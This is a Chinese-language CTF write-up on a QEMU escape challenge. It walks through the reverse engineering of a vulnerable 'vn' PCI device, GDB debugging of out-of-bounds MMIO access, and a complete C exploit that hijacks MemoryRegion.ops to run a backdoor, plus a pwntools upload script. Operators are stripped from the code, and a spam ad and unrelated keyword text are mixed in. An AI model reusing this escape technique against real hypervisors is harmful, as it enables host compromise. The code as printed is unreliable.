阿里云可以做电商网站吗,做网站字体一般设置,怎样登录wordpress,网站的优化排名怎么做说在前面
本文的草稿是边打边学边写出来的#xff0c;文章思路会与一个“刚打完用户态 pwn 题就去打 QEMU Escape ”的人的思路相似#xff0c;在分析结束以后我又在部分比较模糊的地方加入了一些补充#xff0c;因此阅读起来可能会相对轻松。#xff08;当然也不排除这是…说在前面
本文的草稿是边打边学边写出来的文章思路会与一个“刚打完用户态 pwn 题就去打 QEMU Escape ”的人的思路相似在分析结束以后我又在部分比较模糊的地方加入了一些补充因此阅读起来可能会相对轻松。当然也不排除这是我自以为是
题目 github 仓库
[1] 题目分析流程
[1-1] 启动文件分析
读 Dockerfile了解到它在搭起环境以后启动了start.sh
再读 start.sh了解到它启动了 xinetd 程序
再读 xinetd这个程序的主要作用是监听指定 port并根据预先定义好的配置来启动相应服务。可以看到 server_args 处启动了 run.sh
再读 run.sh发现它用 QEMU 起了一个程序通过 -device vn 我们可以知道 vn 是作为 QEMU 中的一个 pci设备 存在的。
通过 IDA 查找字符串 vn_ 可以找到 vn_instance_init跟进调用 字符串vn_instance_init 的 函数vn_instance_init再按 x 查看 函数vn_instance_init 的引用可以看到下面还有一个 vn_class_init 反汇编后看到
__int64 __fastcall vn_class_init(__int64 a1)
{__int64 result; // raxresult PCI_DEVICE_CLASS_23(a1);*(_QWORD *)(result 176) pci_vn_realize;*(_QWORD *)(result 184) 0LL;*(_WORD *)(result 208) 0x1234; // 厂商ID (Vendor ID)*(_WORD *)(result 210) 0x2024; // 设备ID (Device ID)*(_BYTE *)(result 212) 0x10;*(_WORD *)(result 214) 0xFF;return result;
}通过厂商ID和设备ID我们可以判断下列 pci 设备中 00:04.0 Class 00ff: 1234:2024 就是我们要找的 vn
/sys/devices/pci0000:00/0000:00:04.0 # lspci
lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2024
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111进而去/sys/devices/pci0000:00/0000:00:04.0 目录查看该设备 mmio 与 pmio 的注册情况
/sys/devices/pci0000:00/0000:00:04.0 # ls -al
...
...
-r--r--r-- 1 0 0 4096 Feb 18 12:18 resource
-rw------- 1 0 0 4096 Feb 18 12:18 resource0
...
...有了 resource0 这个文件我们就可以在exp里 mmap 做虚拟地址映射。
并且我们可以看到 vn 这个设备只注册了 mmio那就考虑用 mmio攻击点击这里了解 mmio 运行原理
[1-2] 静态分析
如果我写的不够清楚读者可以参考 blizzardCTF 里的 strng这一实现读完这段代码会对 pci 设备的了解提升一个台阶。
我们先补充一些概念
QEMU 提供了一套完整的模拟硬件给 QEMU 上的 kernel 来使用而 -device 参数为 kernel 提供了模拟的 pci 设备。
如果 kernel 实现了类似 linux 的 rootfs我们就可以通过 lspci 来查看相关 pci并在/sys/devices/…找到 pci 设备启动时 kernel 分配给 pci 的资源也就是 resource0 等这也是前文提到过的。
resource0 可以看作是一大片开关当我们修改 resource0 中的内容时可以看做对应开关被启动pci设备也随着开关的启动而变化具体表现为“控制寄存器、状态寄存器以及设备内部的内存区域 随着 resource0 的变化而变化”
所以我们可以 open resource0 这个文件用 mmap 映射它从而使我们能够在C代码中对 resource0 这片内存进行修改
可是由于 QEMU 也只不过是一个程序虚拟的 pci 设备意味着一定有一片内存存储着 pci 相关的数据 关于 pci 存储数据的这一部分好像就涉及 QOM 了还没太搞懂总之跟pci_xx_realize, xx_class_init, xx_instance_init 等函数有关 假设我们的调用链是这样的:
docker - QEMU - exp则 docker 会让 QEMU 误以为自己占据全部内存空间QEMU 会让 exp 认为自己占据全部内存空间而 QEMU 的 pci 设备的 MemoryRegion 就存储在 QEMU 的堆区上我们在程序 exp 中读写 resource0就相当于操控 vn_mmio_read 和 vn_mmio_write 去读写 QEMU 的堆区如果我们正好修改到 MemoryRegion 的 xx_mmio_ops 指针就可以劫持控制流。那么接下来我们要做的事情就是去读一下 vn_mmio_read 和 vn_mmio_write 的反汇编了解怎样读写堆区内容。 由于对 QEMU 不是很熟悉我只能瞎命名vn_mmio_write 的大体逻辑是 object_dynamic_cast_assert是动态类型转换我OOP学的很烂所以不清楚这是什么猜测是申请一块堆的地址然后用 ptr 指向这块地址 ①如果 op 0x30 且 ptr[737] 0 ptr[ ptr[736]/8 720 ] var并将 ptr[737] 设置为1 ②如果 op 0x10 且 var 0x3C ptr[736] var这里可以用负数来上溢从而可以读很大一片空间的内容 ③如果 op 0x20 且 var 的高32位 0x3C ptr[ HIDWORD(var) 720 ] (LODWORD)var
同理 vn_mmio_read 也可以分析出来。
下面是我调试代码时画的草图读者可以等看完“[2] 动态调试”部分以后再回来看这张图个人认为这样的图对理解程序非常有帮助 通过分析我们可以得知vn_mmio_write可以实现一些越界写同理分析 vn_mmio_read 我们可以得知令可以实现一些越界读根据反汇编我们可以定制一下这道题的 mmio_read
void mmio_write(uint64_t addr, uint64_t value)
{*((uint64_t*)(mmio_base addr)) value;
}uint32_t mmio_read(uint64_t addr)
{return *((uint32_t*)(mmio_base addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{uint64_t val value (idx 32);mmio_write(0x20,val);
}通过 Shift F12 查/bin/sh可以跟进到这道题的后门函数0x67429B我们需要跳转到这里去执行execv(“/bin/sh”);
现在我们知道了怎样读写堆区也知道写入什么东西。但我们不知道 ptr[736] 附近是不是 MemoryRegion而且 QEMU 会启动 pie我们需要绕过 pie 才能利用后门函数。
所以我们就先读一些内容看看附近有没有什么能利用的东西。
帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS
[2] 动态调试
接下来我们需要用 docker 调试 qemu这里记录一下
# 注: 如果已经提前 docker-compose 好了则可以直接通过 docker cp 来修改内部文件
docker cp /path/to/file container_name:/whatever/path/you/want/to/file# 首先将 exp.c 静态编译为二进制文件
gcc exp.c --static -o exp# 然后解包 rootfs.cpio参考https://www.jianshu.com/p/f08e34cf08ad 的“调试”部分
hen rootfs.cpio# 将 exp 放入 /core/usr/bin 中# 重新打包 roortfs.cpio
gen rootfs.cpio# 修改 run.sh
vim run.sh
# #!/bin/sh
# ./qemu-system-x86_64 \
# -L ./pc-bios \
# -m 128M \
# -append tscunstable consolettyS0 \
# -kernel bzImage \
# -initrd rootfs.cpio \
# -device vn \
# -nographic \
# -no-reboot \
# -monitor /dev/null \# 修改 Dockerfile在创建容器时安装 qemu-system-x86 gdb这一步其实在 容器的shell里也能install可以跳过
vim Dockerfile # 下面内容只是 RUN 部分其他部分不动
# RUN sed -i s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g /etc/apt/sources.list \
# apt-get update apt-get -y dist-upgrade \
# apt-get install -y lib32z1 xinetd \
# libpixman-1-dev libepoxy-dev libpng16-16 libjpeg8-dev \
# libfdt-dev libnuma-dev libglib2.0-dev \
# libgtk-3-dev libasound2-dev libcurl4 qemu-system-x86 gdb# build 与 启动容器
docker-compose build
docker start vnctf# 启动tmux分页记为 pane1 和 pane2
# pane1:
docker exec -ti vnctf /bin/bash# pane2:
docker exec -ti vnctf /bin/bash# pane1:
./run.sh # 这里运行以后应该是什么也不会出现# pane2:
ps -ax | grep qemu-system-x86_64 -L # 这一步获取 qemu 的进程号PID,用于 (gdb) attach PID
gdb ./qemu-system-x86_64
(gdb) attach PID # 比如 (gdb) attach 406
(gdb) c # 输入完以后看一眼 pane1如果qemu启动了就等qemu启动# 如果没启动就继续输入 (gdb) c# pane1:
# 此时 QEMU 正常运行我们可以在里面输入一些命令比如ls等查看
cd /usr/bin # 这里是前面解包后的时候 exp 放入的文件夹
./exp# pane2:
# 此时就可以开始调试了现在程序正常运行了我们开始查看读出来的东西有没有什么是能利用的
int main(int argc, char const *argv[])
{uint32_t catflag_addr 0x6E65F9;getMMIOBase();printf(mmio_base Resource0Base: %p\n, mmio_base);uint64_t test_low,test_high,test;for(int i-1;i-30;i--) {mmio_write(0x10, i*0x8);test_low mmio_read(0x20);mmio_write(0x10, i*0x8 0x4);test_high mmio_read(0x20);test test_low (test_high 32);printf(test%d 0x%llx\n, -i, test);getchar();}
}/*
/usr/bin # ./exp
mmio_base Resource0Base: 0x7fafa8025000
test1 0x0
test2 0x0
test3 0x0
test4 0x0
test5 0x55da28130f00
test6 0x55da2812ef78
test7 0x0
test8 0x55da271feb98
test9 0x55da27e4f820
test10 0x55da2812ef58
test11 0x0
test12 0x1
test13 0x0
test14 0x0
test15 0x10001
test16 0x0
test17 0x55da256a335b // - memory_region_destructor_none
test18 0xfebf1000
test19 0x0
test20 0x1000
test21 0x0
test22 0x55da271feae0
test23 0x55da2812e470
test24 0x55da25dd01e0 // - vn_mmio_ops
test25 0x55da2812e470
test26 0x55da2812e470
test27 0x0
*/我们逐个地址 x/2gx 一下最终发现这几个比较有意思的地方 PIE (gdb) x/2gx 0x55da256a335b
0x55da256a335b memory_region_destructor_none: 0xe5894855fa1e0ff3 0xf3c35d90f87d8948我们在 IDA 中是能搜到这个函数的它在 QEMU 里的偏移量是 0x82B35B通过这个我们就可以计算出 docker 加载 QEMU 时的基地址了 heap MemoryRegion (gdb) x/2gx 0x55da25dd01e0
0x55da25dd01e0 vn_mmio_ops: 0x000055da252d3458 0x000055da252d3502我们找到了需要的 opstest24 存的就是 0x55da25dd01e0
所以我们有如下对应关系
ptr[-24 720] - 0x55da25dd01e0那很自然的我们就想到ptr的其他地方存着什么这附近是不是就是 MemoryRegion可是我们并没有 (ptr[-24 720])但我们知道的是 MemoryRegion 存在堆里所以我们考虑用 find 命令查找看起来像堆地址的堆地址附近查找 0x55da25dd01e0 这个值就行
最终我们用到的是 test23 - 0x55da2812e470
// 查找 [0x55da2812e470,0x55da2812e4700x1000] 中存放0x55da25dd01e0的地址
(gdb) find 0x55da2812e470, 0x55da2812e4700x1000, 0x55da25dd01e0
0x55da2812eef0
1 pattern found.因此我们知道 0x55da2812eef0 存放着我们需要的 0x55da25dd01e0
观察发现这个地址跟我们的 test10 非常近可以计算一下
(gdb) print(0x55da2812ef58 - 0x55da2812eef0)
$1 104
// 104 0x68
// 所以 test23 0x55da2812eef0 0x55da2812ef58 - 0x68 test10 - 0x68而我们打印一下更多附近的值可以看到
(gdb) x/52xg 0x55da2812ef58 - 0x58 - 0x60
0x55da2812eea0: 0x000055da271f1840 0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00 0x0000000000000001
0x55da2812eec0: 0x000055da2812e470 0x0000000000000001
0x55da2812eed0: 0x0000000000000000 0x0000000000000000
0x55da2812eee0: 0x000055da2812e470 0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0 0x000055da2812e470 - test 24 | 23
0x55da2812ef00: 0x000055da271feae0 0x0000000000000000
0x55da2812ef10: 0x0000000000001000 0x0000000000000000
0x55da2812ef20: 0x00000000febf1000 0x000055da256a335b - test 18 | 17
0x55da2812ef30: 0x0000000000000000 0x0000000000010001
0x55da2812ef40: 0x0000000000000000 0x0000000000000000
0x55da2812ef50: 0x0000000000000001 0x0000000000000000
0x55da2812ef60: 0x000055da2812ef58 0x000055da27e4f820
0x55da2812ef70: 0x000055da271feb98 0x0000000000000000
0x55da2812ef80: 0x000055da2812ef78 0x000055da28130f00
0x55da2812ef90: 0x0000000000000000 0x0000000000000000
0x55da2812efa0: 0x0000000000000000 0x0000000000000000
0x55da2812efb0: 0x0000000000000000 0x0000000000000000 - test 0 | -1
0x55da2812efc0: 0x0000000000000000 0x0000000000000000
0x55da2812efd0: 0x0000000000000000 0x0000000000000000
0x55da2812efe0: 0x0000000000000000 0x0000000000000000
0x55da2812eff0: 0x00000000ffffff2c 0x0000000000000000
0x55da2812f000: 0x0000000000000000 0x0000000000000061
0x55da2812f010: 0x000055da2812d3c0 0x000055da273b01d0
0x55da2812f020: 0x0000000000000000 0x000055da25725d5f
0x55da2812f030: 0x0000000000000000 0x000055da25725de1我们回到 ctf-wiki-QEMU 里查看一下 MemoryRegion
struct MemoryRegion {Object parent_obj;/* private: *//* The following fields should fit in a cache line */bool romd_mode;bool ram;bool subpage;bool readonly; /* For RAM regions */bool nonvolatile;bool rom_device;bool flush_coalesced_mmio;bool global_locking;uint8_t dirty_log_mask;bool is_iommu;RAMBlock *ram_block;Object *owner;const MemoryRegionOps *ops;void *opaque;MemoryRegion *container; // 指向父 MemoryRegionInt128 size; // 内存区域大小hwaddr addr; // 在父 MR 中的偏移量void (*destructor)(MemoryRegion *mr);uint64_t align;bool terminates;bool ram_device;bool enabled;bool warning_printed; /* For reservations */uint8_t vga_logging_count;MemoryRegion *alias; // 仅在 alias MR 中指向实际的 MRhwaddr alias_offset;int32_t priority;QTAILQ_HEAD(, MemoryRegion) subregions;QTAILQ_ENTRY(MemoryRegion) subregions_link;QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;const char *name;unsigned ioeventfd_nb;MemoryRegionIoeventfd *ioeventfds;
};假设我们把 test24 看作上面结构体的 const MemoryRegionOps *ops;
0x55da2812eea0: 0x000055da271f1840
0x55da2812eea8: 0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00
0x55da2812eeb8: 0x0000000000000001
0x55da2812eec0: 0x000055da2812e470
0x55da2812eec8: 0x0000000000000001
0x55da2812eed0: 0x0000000000000000
0x55da2812eed8: 0x0000000000000000
0x55da2812eee0: 0x000055da2812e470
0x55da2812eee8: 0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0 -24 - test24 - ops
0x55da2812eef8: 0x000055da2812e470 -23 - test23 - opaque
0x55da2812ef00: 0x000055da271feae0 -22 - test22 - container
0x55da2812ef08: 0x0000000000000000 -21 - test21 - 这里不知道是什么
0x55da2812ef10: 0x0000000000001000 -20 - test20 - size(Int128)
0x55da2812ef18: 0x0000000000000000 -19 - test19 - size
0x55da2812ef20: 0x00000000febf1000 -18 - test18 - addr
0x55da2812ef28: 0x000055da256a335b -17 - test17 - mr
0x55da2812ef30: 0x0000000000000000
0x55da2812ef38: 0x0000000000010001
0x55da2812ef40: 0x0000000000000000
0x55da2812ef48: 0x0000000000000000
0x55da2812ef50: 0x0000000000000001
0x55da2812ef58: 0x0000000000000000
0x55da2812ef60: 0x0000000000000000
0x55da2812ef68: 0x0000000000000000
0x55da2812ef70: 0x0000000000000000
0x55da2812ef78: 0x0000000000000000
0x55da2812ef80: 0x0000000000000000
0x55da2812ef88: 0x0000000000000000
0x55da2812ef90: 0x0000000000000000
0x55da2812ef98: 0x0000000000000000
0x55da2812efa0: 0x0000000000000000
0x55da2812efa8: 0x0000000000000000 - test0
0x55da2812efb0: 0x0000000000000000 - 可以看到这里有一大片\x00
0x55da2812efb8: 0x0000000000000000 - 我们可以把控制流劫持的指针
0x55da2812efc0: 0x0000000000000000 - 放在这一片
0x55da2812efc8: 0x0000000000000000
0x55da2812efd0: 0x0000000000000000
0x55da2812efd8: 0x0000000000000000
0x55da2812efe0: 0x0000000000000000
0x55da2812efe8: 0x0000000000000000我们可以看到这就是 MemoryRegion当我们修改 ptr[-24 720] 即 MemoryRegion.ops 的值为 0x55da2812efb8(test0 8)我们就可以在执行 vn_mmio_read 和 vn_mmio_write 时去执行 0x55da2812efb8 指向的函数
所以我们考虑这样的布置
0x55da2812eef0(test24) - 0x55da2812efd8
0x55da2812efd8(backdoor) - 0x55da2812efd0 - 后门函数0x67429B[3] 完整 EXP
#include stdio.h
#include unistd.h
#include stdlib.h
#include stdint.h
#include string.h
#include errno.h
#include signal.h
#include fcntl.h
#include ctype.h
#include termios.h
#include assert.h#include sys/types.h
#include sys/mman.h
#include sys/io.h// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x1000000
#define MAP_MASK (MAP_SIZE - 1)char* pci_device_name /sys/devices/pci0000:00/0000:00:04.0/resource0;unsigned char* mmio_base;unsigned char* getMMIOBase(){int fd;if((fd open(pci_device_name, O_RDWR | O_SYNC)) -1) {perror(open pci device);exit(-1);}mmio_base mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);if(mmio_base (void *) -1) {perror(mmap);exit(-1);}return mmio_base;
}void mmio_write(uint64_t addr, uint64_t value)
{*((uint64_t*)(mmio_base addr)) value;
}uint32_t mmio_read(uint64_t addr)
{return *((uint32_t*)(mmio_base addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{uint64_t val value (idx 32);mmio_write(0x20,val);
}int main(int argc, char const *argv[])
{uint32_t catflag_addr 0x6E65F9;getMMIOBase();printf(mmio_base Resource0Base: %p\n, mmio_base);mmio_write(0x10, -17*0x8);uint64_t pie_low mmio_read(0x20);mmio_write(0x10, -17*0x8 0x4);uint64_t pie_high mmio_read(0x20);uint64_t pie pie_low (pie_high 32) - 0x82B35B;printf(pie 0x%llx\n, pie);getchar();mmio_write(0x10, -10*0x8);uint64_t heap_low mmio_read(0x20);mmio_write(0x10, -10*0x8 0x4);uint64_t heap_high mmio_read(0x20);uint64_t heap heap_low (heap_high 32);printf(heap 0x%llx\n, heap);uint64_t backdoor pie 0x67429B;uint64_t system_plt_addr heap 0x60 8;uint64_t cmdaddr heap 0x58 8;getchar();mmio_write_idx(8,0x20746163);mmio_write_idx(12,0x67616C66);mmio_write_idx(16,backdoor 0xffffffff);mmio_write_idx(20,backdoor 32);mmio_write_idx(24,system_plt_addr 0xffffffff);mmio_write_idx(28,system_plt_addr 32);mmio_write_idx(32,cmdaddr 0xffffffff);mmio_write_idx(36,cmdaddr 32);getchar();for(int i 40;i 60 ;i 4 ){mmio_write_idx(i,0);}getchar();mmio_write(0x10,-0xc0);getchar();mmio_write(0x30,system_plt_addr);getchar();mmio_read(0);return 0;
}[4] exp.c 如何食用
# exp.py
from pwn import *
import time, os
context.log_level debugpremote(127.0.0.1,9999)
os.system(tar -czvf exp.tar.gz ./exp)
os.system(base64 exp.tar.gz b64_exp)f open(./b64_exp, r)p.sendline()
p.recvuntil(~ #)
p.sendline(echo b64_exp;)count 1
while True:print(now line: str(count))line f.readline().replace(\n,)if len(line)0:breakcmd becho line.encode() b b64_exp;p.sendline(cmd) # send lines#time.sleep(0.02)#p.recv()p.recvuntil(~ #)count 1
f.close()p.sendline(base64 -d b64_exp exp.tar.gz;)
p.sendline(tar -xzvf exp.tar.gz)
p.sendline(chmod x ./exp;)
p.sendline(./exp)
p.interactive()[5] 结语
本来以为 QEMU 是我走向内核态的第一步但当我用 gdb 把它调起来的时候才发现QEMU 也只是操作系统上的一个程序跟我们平时打的用户态区别不大也是 leak 然后劫持控制流去 getshell
但虚拟化和QEMU知识的缺失也让我“架空学习”勿以浮沙筑高台有时间还是要回过头来把基础筑牢的现在对这道题理解的抽象程度还是太高了应该继续打开它、研究它。